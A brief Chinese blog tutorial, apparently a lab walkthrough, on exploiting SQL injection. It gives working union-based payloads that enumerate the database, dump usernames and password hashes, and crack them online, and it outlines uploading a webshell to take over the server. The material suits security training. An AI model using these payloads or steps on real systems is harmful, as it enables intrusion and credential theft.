SQL注入解题思路
- 寻找注入点,可以通过web扫描工具实现
- 通过注入点,尝试得到连接数据库的用户名,数据库名称,权限等信息。
- 猜解关键数据库表极其重要字段与内容。
- 通过获得的用户信息寻找后台进行登录。
- 利用后台上传webshell或一句话木马,进一步提权拿到服务器权限。
1.随便输入id 1,2,3…… 进行测试,发现输入正确的ID会返回First name和Sumame信息,输入错误的id不会返回信息
2.使用 1'or'1'='1 遍历出数据库表中的所有内容。
3.此时我们可以通过使用user(),database(),version()三个内置函数使用 1' and 1=2 union select user(),database() -- (注意插入的命令的格式以及空格)得到连接数据库的账户名,数据库名称,数据库版本信息。
4.猜测表名,通过注入 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
5.猜测列名,通过注入 1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
6.猜测用户密码,通过注入 1' union select null,concat_ws(char(32,58,32),user,password) from users #
7.得到的用户后的字符串为哈希值,可以登陆 https://cmd5.com/ 对MD5进行在线破解为明文密码。
来源:oschina
链接:https://my.oschina.net/u/4313588/blog/3511539